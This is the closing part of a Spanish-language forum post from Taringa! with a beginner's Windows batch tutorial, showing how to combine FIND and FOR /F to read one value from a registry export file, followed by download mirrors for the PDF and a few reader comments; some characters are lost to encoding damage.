hola ? buenos ? dias
este ? es ? un manual, dedicado al for
para.la.gente.que.quiera.aprender ? ?
y ? para ? los demas tambien
hasta ? luego ?
1= ? hola ?
2=adios ? ?
3=buenas ? ?
--------------------------
por ultimo les pongo un ejemplo muy util cuando por ejemplo queremos
buscar en un archivo de registro, un valor determinado.
imaginen que quiero buscar en el archivo 1.reg, el valor de la clave
SwapMouseButtons.
sabiendo que en el archivo
1.reg, existe una linea que pone
SwapMouseButtons=1.
pero ademas hay muchas otras lineas similares como:
mouse=9
but=6
....
23
asi que si usamos el for normal sobre el archivo directamente no hay
forma de sacar solo el valor que queremos
por lo que podemos hacer un find sobre el archivo que nos devuelva
unicamente la linea que contiene la palabra
SwapMouseButtons, y hacer el for sobre ella. con esto quiero decir,
que ademas de sobre archivos, podemos aplicar el for
sobre comandos que actuen sobre archivos y nos den lo que queremos de
ellos de una forma mas especifica.
este ejemplo seria asi:
FOR /F "tokens=1* delims==" %A IN ('FIND /I "SwapMouseButtons"
c:1.reg') do echo %B
el resultado seria que muestra por pantalla:
si hubisemos puesto ..... do echo %A
mostrara por pantalla
SwapMouseButtons
Espero que les haya servido de ayuda ya que esto me costo una gran ...
Si quieren ayudenme a ser NFU
Descargar Archivo en PDF:
MediaFire: http://www.mediafire.com/?ihhb46shrltx2st
4Shared: http://www.4shared.com/document/h3ZerYAD/Manual_Batch_desde_0__HueleCam
.html
RapidShare: http://rapidshare.com/#!download|158l33|441815264|Manual_Batch_desde
_0__HueleCama__T_.pdf|68
MegaUpload: http://www.megaupload.com/?d=7D387EKZ
Deposit Files: http://depositfiles.com/es/files/vwjqxrypr
HotFile: http://hotfile.com/dl/95756574/c0e2092/Manual_Batch_desde_0_(HueleCama)
_T.pdf.html
Uploading:http://uploading.com/files/f9fa3bde/Manual%2BBatch%2Bdesde%2B0%2B%2528
HueleCama%2529%2BT%2521.pdf/
MultiUpload: http://www.multiupload.com/5SD0NPUHD5
* Sonico
* Delicious
*
*
* 0Me gusta
* 2
* Compartir en:
* Seguir Post
* Agregar a Favoritos
* Denunciar
* 2
Favoritos
* 54
Visitas
* 1
Puntos
* 0
Seguidores
Tags: batch - batch desde cero - manuel de batch - .bat desde cero
* Categora: E-books y Tutoriales
* Creado: 10.01.2011 a las 2:01 hs.
Otros posts que te van a interesar:
* 20 formas de Ganarte la Vida con una Impresora
* [Tutorial] Graba Tus Juegos de XBOX 360 Con ImgBurn
* Tenes windows 7? Aprovech esta opcin
* Cursores|Windows 7|Autoinstalables|68|Videotutorial instal
* Aprende Electronica Moderna desde Cero con CEKIT
* PS3 Softmod: Desbloqueo por Software de una PS3 (FW 3.55)
* Sobreexponer Imagen ~ Tuto propio (Photoshop)
* Para cuando estes al pedo!! (Bomba)..
* Aprende Un sin Fin de Cosas Con estos Cursos
* Montar Un servidor que Administre Ancho de Banda IV
6 Comentarios
[Avatar de HueleCama en Taringa!]
HueleCama dijo Hace 19 das:
Cualquier consulta manden MP Luego voy a agregar link de descarga para este TUTO
[Avatar de jpuser en Taringa!]
jpuser dijo Hace 19 das:
Che y esto sirve para algo... puedo hacer un sistema de facturacin con esto...?
[Avatar de HueleCama en Taringa!]
HueleCama dijo Hace 19 das:
jpuser dijo:
Che y esto sirve para algo... puedo hacer un sistema de facturacin con esto..
.?
Sera muy complicado hacer un sistema de facturacin ni siquiera yo mismo puedo hace
rlo. Necesitas ser un experto para lograr hacer un sistema de facturacin.
[Avatar de vlady07 en Taringa!]
vlady07 dijo Hace 18 das:
Recomendado
[Avatar de dariosolanoangel en Taringa!]
dariosolanoangel dijo Hace 17 das:
esta muy bueno gracias
[Avatar de HueleCama en Taringa!]
HueleCama dijo Hace 17 das:
dariosolanoangel dijo:
esta muy bueno gracias
De nada

También podría gustarte